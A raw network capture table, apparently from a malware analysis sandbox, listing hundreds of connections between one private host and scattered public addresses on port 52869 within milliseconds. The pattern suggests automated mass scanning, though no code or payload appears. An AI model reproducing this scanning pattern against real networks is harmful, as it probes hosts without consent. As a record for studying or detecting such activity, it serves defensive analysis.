Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	36.199.146.246
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	201.251.79.68
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	64.122.190.208
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	202.179.114.114
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	223.161.169.143
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	119.44.232.241
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	4.26.18.222
Jul 20, 2024 23:00:58.573021889 CEST	50566	52869	192.168.2.13	75.228.232.27
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	120.217.18.157
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	24.44.172.181
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	94.34.6.184
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	190.64.152.70
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	203.134.56.47
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	207.21.91.234
Jul 20, 2024 23:00:58.573023081 CEST	50566	52869	192.168.2.13	211.25.107.170
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	81.18.198.165
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	219.81.113.73
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	20.75.97.245
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	95.59.50.63
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	179.177.46.212
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	164.169.47.247
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	206.224.64.119
Jul 20, 2024 23:00:58.573105097 CEST	50566	52869	192.168.2.13	204.249.26.101
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	177.93.16.199
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	166.121.113.90
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	100.192.116.81
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	117.244.2.248
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	125.71.88.214
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	86.111.238.235
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	71.215.221.121
Jul 20, 2024 23:00:58.574090958 CEST	50566	52869	192.168.2.13	144.201.146.150
Jul 20, 2024 23:00:58.575624943 CEST	52869	50566	66.107.82.216	192.168.2.13
Jul 20, 2024 23:00:58.575666904 CEST	52869	50566	93.90.85.174	192.168.2.13
Jul 20, 2024 23:00:58.575699091 CEST	52869	50566	51.24.132.201	192.168.2.13
Jul 20, 2024 23:00:58.575756073 CEST	52869	50566	103.219.76.206	192.168.2.13
Jul 20, 2024 23:00:58.575786114 CEST	52869	50566	125.98.37.19	192.168.2.13
Jul 20, 2024 23:00:58.575815916 CEST	52869	50566	89.231.113.26	192.168.2.13
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	212.8.250.243
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	5.108.197.250
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	82.119.89.218
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	191.207.93.135
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	128.47.249.111
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	14.236.196.197
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	45.252.15.42
Jul 20, 2024 23:00:58.575838089 CEST	50566	52869	192.168.2.13	108.169.133.121
Jul 20, 2024 23:00:58.575846910 CEST	52869	50566	81.200.82.191	192.168.2.13
Jul 20, 2024 23:00:58.575875998 CEST	52869	50566	1.218.125.34	192.168.2.13
Jul 20, 2024 23:00:58.575906038 CEST	52869	50566	121.86.65.117	192.168.2.13
Jul 20, 2024 23:00:58.575941086 CEST	52869	50566	13.155.75.186	192.168.2.13
Jul 20, 2024 23:00:58.575968981 CEST	52869	50566	149.199.212.139	192.168.2.13
Jul 20, 2024 23:00:58.575999022 CEST	52869	50566	89.147.138.13	192.168.2.13
Jul 20, 2024 23:00:58.576028109 CEST	52869	50566	190.248.188.149	192.168.2.13
Jul 20, 2024 23:00:58.576057911 CEST	52869	50566	139.7.160.118	192.168.2.13
Jul 20, 2024 23:00:58.576086044 CEST	52869	50566	125.156.21.212	192.168.2.13
Jul 20, 2024 23:00:58.576114893 CEST	52869	50566	157.99.7.27	192.168.2.13
Jul 20, 2024 23:00:58.576128006 CEST	50566	52869	192.168.2.13	145.194.199.43
Jul 20, 2024 23:00:58.576128006 CEST	50566	52869	192.168.2.13	168.231.78.124
Jul 20, 2024 23:00:58.576128006 CEST	50566	52869	192.168.2.13	217.184.81.63
Jul 20, 2024 23:00:58.576128006 CEST	50566	52869	192.168.2.13	218.192.183.132
Jul 20, 2024 23:00:58.576128960 CEST	50566	52869	192.168.2.13	216.73.170.96
Jul 20, 2024 23:00:58.576128960 CEST	50566	52869	192.168.2.13	125.189.124.201
Jul 20, 2024 23:00:58.576128960 CEST	50566	52869	192.168.2.13	125.196.26.43
Jul 20, 2024 23:00:58.576128960 CEST	50566	52869	192.168.2.13	121.207.202.170
Jul 20, 2024 23:00:58.576143026 CEST	52869	50566	202.148.248.254	192.168.2.13
Jul 20, 2024 23:00:58.576172113 CEST	52869	50566	153.244.29.115	192.168.2.13
Jul 20, 2024 23:00:58.576200008 CEST	52869	50566	1.93.104.156	192.168.2.13
Jul 20, 2024 23:00:58.576227903 CEST	52869	50566	114.97.197.239	192.168.2.13
Jul 20, 2024 23:00:58.576256990 CEST	52869	50566	107.110.195.106	192.168.2.13
Jul 20, 2024 23:00:58.576287031 CEST	52869	50566	179.192.77.74	192.168.2.13
Jul 20, 2024 23:00:58.576314926 CEST	52869	50566	45.105.20.114	192.168.2.13
Jul 20, 2024 23:00:58.576343060 CEST	52869	50566	23.205.8.163	192.168.2.13
Jul 20, 2024 23:00:58.576370955 CEST	52869	50566	62.197.26.141	192.168.2.13
Jul 20, 2024 23:00:58.576421022 CEST	52869	50566	94.168.82.2	192.168.2.13
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	41.23.75.128
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	110.68.82.125
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	112.50.115.93
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	86.128.167.20
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	79.210.92.125
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	45.32.253.157
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	13.113.29.42
Jul 20, 2024 23:00:58.576445103 CEST	50566	52869	192.168.2.13	162.103.181.149
Jul 20, 2024 23:00:58.576467991 CEST	52869	50566	167.173.14.73	192.168.2.13
Jul 20, 2024 23:00:58.576522112 CEST	52869	50566	66.255.33.96	192.168.2.13
Jul 20, 2024 23:00:58.576551914 CEST	52869	50566	208.231.11.25	192.168.2.13
Jul 20, 2024 23:00:58.576581001 CEST	52869	50566	189.81.231.43	192.168.2.13
Jul 20, 2024 23:00:58.576608896 CEST	52869	50566	95.80.28.21	192.168.2.13
Jul 20, 2024 23:00:58.576638937 CEST	52869	50566	177.232.90.95	192.168.2.13
Jul 20, 2024 23:00:58.576668024 CEST	52869	50566	162.80.101.59	192.168.2.13
Jul 20, 2024 23:00:58.576695919 CEST	52869	50566	164.253.162.178	192.168.2.13
Jul 20, 2024 23:00:58.576725006 CEST	52869	50566	160.105.21.135	192.168.2.13
Jul 20, 2024 23:00:58.576752901 CEST	52869	50566	94.137.9.128	192.168.2.13
Jul 20, 2024 23:00:58.576781988 CEST	52869	50566	61.164.49.186	192.168.2.13
Jul 20, 2024 23:00:58.576809883 CEST	52869	50566	41.15.71.109	192.168.2.13
Jul 20, 2024 23:00:58.576838017 CEST	52869	50566	187.194.103.87	192.168.2.13
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	163.209.94.25
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	104.26.83.71
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	154.157.246.72
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	130.206.211.129
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	57.30.119.39
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	170.113.9.186
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	125.165.157.181
Jul 20, 2024 23:00:58.576853991 CEST	50566	52869	192.168.2.13	188.226.47.52
Jul 20, 2024 23:00:58.576865911 CEST	52869	50566	106.108.51.249	192.168.2.13
Jul 20, 2024 23:00:58.576894045 CEST	52869	50566	91.109.123.243	192.168.2.13
Jul 20, 2024 23:00:58.576921940 CEST	52869	50566	138.127.88.111	192.168.2.13
Jul 20, 2024 23:00:58.576951027 CEST	52869	50566	193.33.7.98	192.168.2.13
Jul 20, 2024 23:00:58.576978922 CEST	52869	50566	218.27.145.147	192.168.2.13
Jul 20, 2024 23:00:58.577006102 CEST	52869	50566	139.223.137.183	192.168.2.13
Jul 20, 2024 23:00:58.577034950 CEST	52869	50566	199.84.124.13	192.168.2.13
Jul 20, 2024 23:00:58.577063084 CEST	52869	50566	208.184.42.77	192.168.2.13
Jul 20, 2024 23:00:58.577090025 CEST	52869	50566	66.130.146.7	192.168.2.13
Jul 20, 2024 23:00:58.577140093 CEST	52869	50566	92.53.90.114	192.168.2.13
Jul 20, 2024 23:00:58.577181101 CEST	52869	50566	36.114.179.164	192.168.2.13
Jul 20, 2024 23:00:58.577209949 CEST	52869	50566	183.249.0.41	192.168.2.13
Jul 20, 2024 23:00:58.577238083 CEST	52869	50566	216.191.207.19	192.168.2.13
Jul 20, 2024 23:00:58.577266932 CEST	52869	50566	94.116.220.172	192.168.2.13
Jul 20, 2024 23:00:58.577296972 CEST	52869	50566	200.250.160.249	192.168.2.13
Jul 20, 2024 23:00:58.577325106 CEST	52869	50566	44.182.131.46	192.168.2.13
Jul 20, 2024 23:00:58.577353001 CEST	52869	50566	208.127.240.241	192.168.2.13
Jul 20, 2024 23:00:58.577380896 CEST	52869	50566	69.5.79.227	192.168.2.13
Jul 20, 2024 23:00:58.577409029 CEST	52869	50566	223.21.128.46	192.168.2.13
Jul 20, 2024 23:00:58.577436924 CEST	52869	50566	157.247.149.103	192.168.2.13
Jul 20, 2024 23:00:58.577464104 CEST	52869	50566	216.204.83.196	192.168.2.13
Jul 20, 2024 23:00:58.577491999 CEST	52869	50566	149.180.200.26	192.168.2.13
Jul 20, 2024 23:00:58.577519894 CEST	52869	50566	218.164.204.153	192.168.2.13
Jul 20, 2024 23:00:58.577548027 CEST	52869	50566	37.158.177.197	192.168.2.13
Jul 20, 2024 23:00:58.577578068 CEST	52869	50566	216.119.27.164	192.168.2.13
Jul 20, 2024 23:00:58.577605009 CEST	52869	50566	20.229.228.245	192.168.2.13
Jul 20, 2024 23:00:58.577634096 CEST	52869	50566	175.40.199.191	192.168.2.13
Jul 20, 2024 23:00:58.577661991 CEST	52869	50566	136.63.112.118	192.168.2.13
Jul 20, 2024 23:00:58.577662945 CEST	50566	52869	192.168.2.13	41.125.92.82
Jul 20, 2024 23:00:58.577662945 CEST	50566	52869	192.168.2.13	37.182.74.126
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	13.27.88.27
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	62.181.226.145
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	198.66.228.91
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	48.33.137.207
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	213.215.18.242
Jul 20, 2024 23:00:58.577663898 CEST	50566	52869	192.168.2.13	174.197.212.167
Jul 20, 2024 23:00:58.577689886 CEST	52869	50566	73.82.130.45	192.168.2.13
Jul 20, 2024 23:00:58.577718973 CEST	52869	50566	63.249.238.122	192.168.2.13
Jul 20, 2024 23:00:58.577748060 CEST	52869	50566	202.90.219.235	192.168.2.13
Jul 20, 2024 23:00:58.577776909 CEST	52869	50566	144.253.211.209	192.168.2.13
Jul 20, 2024 23:00:58.577809095 CEST	52869	50566	125.70.94.22	192.168.2.13
Jul 20, 2024 23:00:58.577846050 CEST	52869	50566	114.255.95.122	192.168.2.13
Jul 20, 2024 23:00:58.577874899 CEST	52869	50566	201.174.51.76	192.168.2.13
Jul 20, 2024 23:00:58.577903032 CEST	52869	50566	31.132.206.184	192.168.2.13
Jul 20, 2024 23:00:58.577930927 CEST	52869	50566	17.109.190.159	192.168.2.13
Jul 20, 2024 23:00:58.577960968 CEST	52869	50566	195.20.150.199	192.168.2.13
Jul 20, 2024 23:00:58.577990055 CEST	52869	50566	193.94.110.185	192.168.2.13
Jul 20, 2024 23:00:58.578017950 CEST	52869	50566	177.45.38.44	192.168.2.13
Jul 20, 2024 23:00:58.578047037 CEST	52869	50566	207.120.35.6	192.168.2.13
Jul 20, 2024 23:00:58.578074932 CEST	52869	50566	91.161.176.57	192.168.2.13
Jul 20, 2024 23:00:58.578104973 CEST	52869	50566	203.156.222.186	192.168.2.13
Jul 20, 2024 23:00:58.578134060 CEST	52869	50566	183.179.244.14	192.168.2.13
Jul 20, 2024 23:00:58.578161955 CEST	52869	50566	179.130.41.148	192.168.2.13
Jul 20, 2024 23:00:58.578191042 CEST	52869	50566	66.216.143.248	192.168.2.13
Jul 20, 2024 23:00:58.578218937 CEST	52869	50566	98.129.212.87	192.168.2.13
Jul 20, 2024 23:00:58.578247070 CEST	52869	50566	201.60.102.113	192.168.2.13
Jul 20, 2024 23:00:58.578277111 CEST	52869	50566	134.60.39.33	192.168.2.13
Jul 20, 2024 23:00:58.578306913 CEST	52869	50566	152.74.241.211	192.168.2.13
Jul 20, 2024 23:00:58.578335047 CEST	52869	50566	183.195.202.85	192.168.2.13
Jul 20, 2024 23:00:58.578362942 CEST	52869	50566	177.135.32.145	192.168.2.13
Jul 20, 2024 23:00:58.578391075 CEST	52869	50566	31.120.156.14	192.168.2.13
Jul 20, 2024 23:00:58.578397036 CEST	50566	52869	192.168.2.13	122.113.89.19
Jul 20, 2024 23:00:58.578397036 CEST	50566	52869	192.168.2.13	117.19.166.205
Jul 20, 2024 23:00:58.578397036 CEST	50566	52869	192.168.2.13	131.78.113.225
Jul 20, 2024 23:00:58.578397989 CEST	50566	52869	192.168.2.13	207.74.201.142
Jul 20, 2024 23:00:58.578397989 CEST	50566	52869	192.168.2.13	143.82.123.204
Jul 20, 2024 23:00:58.578397989 CEST	50566	52869	192.168.2.13	73.115.254.3
Jul 20, 2024 23:00:58.578397989 CEST	50566	52869	192.168.2.13	220.221.201.89
Jul 20, 2024 23:00:58.578397989 CEST	50566	52869	192.168.2.13	20.244.127.176
Jul 20, 2024 23:00:58.578421116 CEST	52869	50566	63.189.161.127	192.168.2.13
Jul 20, 2024 23:00:58.578449965 CEST	52869	50566	177.166.27.191	192.168.2.13
Jul 20, 2024 23:00:58.578480959 CEST	52869	50566	165.225.180.240	192.168.2.13
Jul 20, 2024 23:00:58.578546047 CEST	52869	50566	34.131.150.238	192.168.2.13
Jul 20, 2024 23:00:58.578574896 CEST	52869	50566	103.180.198.135	192.168.2.13
Jul 20, 2024 23:00:58.578603983 CEST	52869	50566	204.157.247.192	192.168.2.13
Jul 20, 2024 23:00:58.578634977 CEST	52869	50566	156.112.183.236	192.168.2.13
Jul 20, 2024 23:00:58.578664064 CEST	52869	50566	212.147.152.7	192.168.2.13
Jul 20, 2024 23:00:58.578691959 CEST	52869	50566	71.68.226.94	192.168.2.13
Jul 20, 2024 23:00:58.578720093 CEST	52869	50566	109.34.203.125	192.168.2.13
Jul 20, 2024 23:00:58.578747988 CEST	52869	50566	80.193.127.112	192.168.2.13
Jul 20, 2024 23:00:58.578777075 CEST	52869	50566	152.132.82.77	192.168.2.13
Jul 20, 2024 23:00:58.578804970 CEST	52869	50566	84.243.9.12	192.168.2.13
Jul 20, 2024 23:00:58.578831911 CEST	52869	50566	201.107.191.225	192.168.2.13
Jul 20, 2024 23:00:58.578860998 CEST	52869	50566	120.134.160.54	192.168.2.13
Jul 20, 2024 23:00:58.578888893 CEST	52869	50566	52.66.229.107	192.168.2.13
Jul 20, 2024 23:00:58.578917980 CEST	52869	50566	23.254.169.47	192.168.2.13
Jul 20, 2024 23:00:58.578944921 CEST	52869	50566	102.59.161.249	192.168.2.13
Jul 20, 2024 23:00:58.578974009 CEST	52869	50566	34.152.90.112	192.168.2.13
Jul 20, 2024 23:00:58.579001904 CEST	52869	50566	118.198.234.136	192.168.2.13
Jul 20, 2024 23:00:58.579029083 CEST	52869	50566	81.18.198.165	192.168.2.13
Jul 20, 2024 23:00:58.579056978 CEST	52869	50566	75.228.232.27	192.168.2.13
Jul 20, 2024 23:00:58.579108953 CEST	52869	50566	219.81.113.73	192.168.2.13
Jul 20, 2024 23:00:58.579137087 CEST	52869	50566	120.217.18.157	192.168.2.13
Jul 20, 2024 23:00:58.579164982 CEST	52869	50566	23.174.204.79	192.168.2.13
Jul 20, 2024 23:00:58.579193115 CEST	52869	50566	20.75.97.245	192.168.2.13
Jul 20, 2024 23:00:58.579220057 CEST	52869	50566	62.32.90.242	192.168.2.13
Jul 20, 2024 23:00:58.579247952 CEST	52869	50566	24.44.172.181	192.168.2.13
Jul 20, 2024 23:00:58.579610109 CEST	52869	50566	95.59.50.63	192.168.2.13
Jul 20, 2024 23:00:58.579638958 CEST	52869	50566	94.34.6.184	192.168.2.13
Jul 20, 2024 23:00:58.579668045 CEST	52869	50566	177.93.16.199	192.168.2.13
Jul 20, 2024 23:00:58.579694986 CEST	52869	50566	43.66.249.115	192.168.2.13
Jul 20, 2024 23:00:58.579744101 CEST	52869	50566	43.61.45.188	192.168.2.13
Jul 20, 2024 23:00:58.579772949 CEST	52869	50566	36.199.146.246	192.168.2.13
Jul 20, 2024 23:00:58.579801083 CEST	52869	50566	59.83.210.251	192.168.2.13
Jul 20, 2024 23:00:58.579833984 CEST	52869	50566	154.83.33.92	192.168.2.13
Jul 20, 2024 23:00:58.579881907 CEST	52869	50566	167.128.57.68	192.168.2.13
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	207.32.229.66
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	211.159.248.236
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	129.209.221.62
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	87.22.11.17
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	156.218.218.173
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	51.169.114.105
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	144.242.214.134
Jul 20, 2024 23:00:58.579904079 CEST	50566	52869	192.168.2.13	170.201.104.199
Jul 20, 2024 23:00:58.579977036 CEST	52869	50566	211.242.20.87	192.168.2.13
Jul 20, 2024 23:00:58.580025911 CEST	52869	50566	190.64.152.70	192.168.2.13
Jul 20, 2024 23:00:58.580056906 CEST	52869	50566	179.177.46.212	192.168.2.13
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	121.111.152.9
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	207.13.220.109
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	8.200.63.173
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	179.36.56.224
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	109.250.62.6
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	109.167.143.187
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	50.168.165.47
Jul 20, 2024 23:00:58.580123901 CEST	50566	52869	192.168.2.13	218.171.42.41
Jul 20, 2024 23:00:58.580207109 CEST	52869	50566	203.134.56.47	192.168.2.13
Jul 20, 2024 23:00:58.580681086 CEST	52869	50566	164.169.47.247	192.168.2.13
Jul 20, 2024 23:00:58.580775023 CEST	52869	50566	166.121.113.90	192.168.2.13
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	184.244.225.101
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	38.81.248.236
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	141.214.124.225
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	101.247.55.101
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	183.62.58.210
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	155.77.23.156
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	135.93.173.184
Jul 20, 2024 23:00:58.581214905 CEST	50566	52869	192.168.2.13	216.211.211.212
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	53.242.30.163
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	118.95.117.249
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	135.241.25.166
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	191.251.66.209
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	51.230.131.89
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	204.52.130.30
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	17.217.65.15
Jul 20, 2024 23:00:58.581286907 CEST	50566	52869	192.168.2.13	199.255.47.208
Jul 20, 2024 23:00:58.581386089 CEST	50566	52869	192.168.2.13	129.0.180.86
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	90.85.240.95
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	174.179.206.254
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	65.97.64.116
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	89.35.59.2
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	200.113.164.137
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	73.232.22.228
Jul 20, 2024 23:00:58.581387043 CEST	50566	52869	192.168.2.13	165.162.16.34
Jul 20, 2024 23:00:58.581625938 CEST	50566	52869	192.168.2.13	110.141.244.228
Jul 20, 2024 23:00:58.581625938 CEST	50566	52869	192.168.2.13	186.94.202.38
Jul 20, 2024 23:00:58.581625938 CEST	50566	52869	192.168.2.13	37.237.111.60
Jul 20, 2024 23:00:58.581626892 CEST	50566	52869	192.168.2.13	210.137.118.139
Jul 20, 2024 23:00:58.581626892 CEST	50566	52869	192.168.2.13	49.234.48.151
Jul 20, 2024 23:00:58.581626892 CEST	50566	52869	192.168.2.13	137.200.199.59
Jul 20, 2024 23:00:58.581626892 CEST	50566	52869	192.168.2.13	52.185.40.220
Jul 20, 2024 23:00:58.581626892 CEST	50566	52869	192.168.2.13	153.88.175.187
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	205.213.127.39
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	120.47.1.7
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	206.207.28.179
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	73.254.249.119
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	73.87.185.54
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	83.177.165.22
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	106.206.7.111
Jul 20, 2024 23:00:58.584037066 CEST	50566	52869	192.168.2.13	59.161.148.57
Jul 20, 2024 23:00:58.584619045 CEST	52869	50566	207.21.91.234	192.168.2.13
Jul 20, 2024 23:00:58.584640980 CEST	52869	50566	206.224.64.119	192.168.2.13
Jul 20, 2024 23:00:58.584655046 CEST	52869	50566	100.192.116.81	192.168.2.13
Jul 20, 2024 23:00:58.584669113 CEST	52869	50566	204.249.26.101	192.168.2.13
Jul 20, 2024 23:00:58.584683895 CEST	52869	50566	117.244.2.248	192.168.2.13
Jul 20, 2024 23:00:58.584698915 CEST	52869	50566	212.8.250.243	192.168.2.13
Jul 20, 2024 23:00:58.584713936 CEST	52869	50566	97.201.16.35	192.168.2.13
Jul 20, 2024 23:00:58.584728003 CEST	52869	50566	202.207.165.100	192.168.2.13
Jul 20, 2024 23:00:58.584743023 CEST	52869	50566	145.194.199.43	192.168.2.13
Jul 20, 2024 23:00:58.584773064 CEST	52869	50566	115.61.29.108	192.168.2.13
Jul 20, 2024 23:00:58.584788084 CEST	52869	50566	212.168.65.122	192.168.2.13
Jul 20, 2024 23:00:58.584872007 CEST	52869	50566	143.233.14.185	192.168.2.13
Jul 20, 2024 23:00:58.584887981 CEST	52869	50566	41.23.75.128	192.168.2.13
Jul 20, 2024 23:00:58.584902048 CEST	52869	50566	209.130.209.72	192.168.2.13
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	4.46.213.183
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	113.169.142.241
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	152.197.23.46
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	67.229.96.242
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	163.101.73.50
Jul 20, 2024 23:00:58.584943056 CEST	50566	52869	192.168.2.13	132.92.234.191
Jul 20, 2024 23:00:58.584944010 CEST	50566	52869	192.168.2.13	113.200.86.131
Jul 20, 2024 23:00:58.585293055 CEST	52869	50566	201.251.79.68	192.168.2.13
Jul 20, 2024 23:00:58.585319042 CEST	52869	50566	168.231.78.124	192.168.2.13
Jul 20, 2024 23:00:58.585333109 CEST	52869	50566	64.122.190.208	192.168.2.13
Jul 20, 2024 23:00:58.585349083 CEST	52869	50566	110.68.82.125	192.168.2.13
Jul 20, 2024 23:00:58.585365057 CEST	52869	50566	112.50.115.93	192.168.2.13
Jul 20, 2024 23:00:58.585433960 CEST	52869	50566	5.108.197.250	192.168.2.13
Jul 20, 2024 23:00:58.585452080 CEST	52869	50566	211.25.107.170	192.168.2.13
Jul 20, 2024 23:00:58.585510969 CEST	52869	50566	125.71.88.214	192.168.2.13
Jul 20, 2024 23:00:58.585526943 CEST	52869	50566	41.125.92.82	192.168.2.13
Jul 20, 2024 23:00:58.585541010 CEST	52869	50566	86.111.238.235	192.168.2.13
Jul 20, 2024 23:00:58.585541010 CEST	50566	52869	192.168.2.13	162.160.111.35
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	103.233.66.3
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	39.238.204.107
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	164.103.95.95
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	119.150.77.161
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	199.170.141.174
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	27.117.118.67
Jul 20, 2024 23:00:58.585541964 CEST	50566	52869	192.168.2.13	138.25.247.16
Jul 20, 2024 23:00:58.585573912 CEST	52869	50566	82.119.89.218	192.168.2.13
Jul 20, 2024 23:00:58.585619926 CEST	52869	50566	71.215.221.121	192.168.2.13
Jul 20, 2024 23:00:58.585648060 CEST	52869	50566	37.182.74.126	192.168.2.13
Jul 20, 2024 23:00:58.585688114 CEST	52869	50566	191.207.93.135	192.168.2.13
Jul 20, 2024 23:00:58.585731983 CEST	52869	50566	144.201.146.150	192.168.2.13
Jul 20, 2024 23:00:58.585800886 CEST	52869	50566	128.47.249.111	192.168.2.13
Jul 20, 2024 23:00:58.585870028 CEST	52869	50566	132.85.230.25	192.168.2.13
Jul 20, 2024 23:00:58.585905075 CEST	52869	50566	86.128.167.20	192.168.2.13
Jul 20, 2024 23:00:58.585921049 CEST	52869	50566	217.184.81.63	192.168.2.13
Jul 20, 2024 23:00:58.585958958 CEST	52869	50566	167.229.109.178	192.168.2.13
Jul 20, 2024 23:00:58.585973978 CEST	52869	50566	218.192.183.132	192.168.2.13
Jul 20, 2024 23:00:58.585988045 CEST	52869	50566	213.211.196.140	192.168.2.13
Jul 20, 2024 23:00:58.586136103 CEST	52869	50566	79.210.92.125	192.168.2.13
Jul 20, 2024 23:00:58.586170912 CEST	52869	50566	216.73.170.96	192.168.2.13
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	191.214.228.151
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	18.101.167.39
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	68.30.100.71
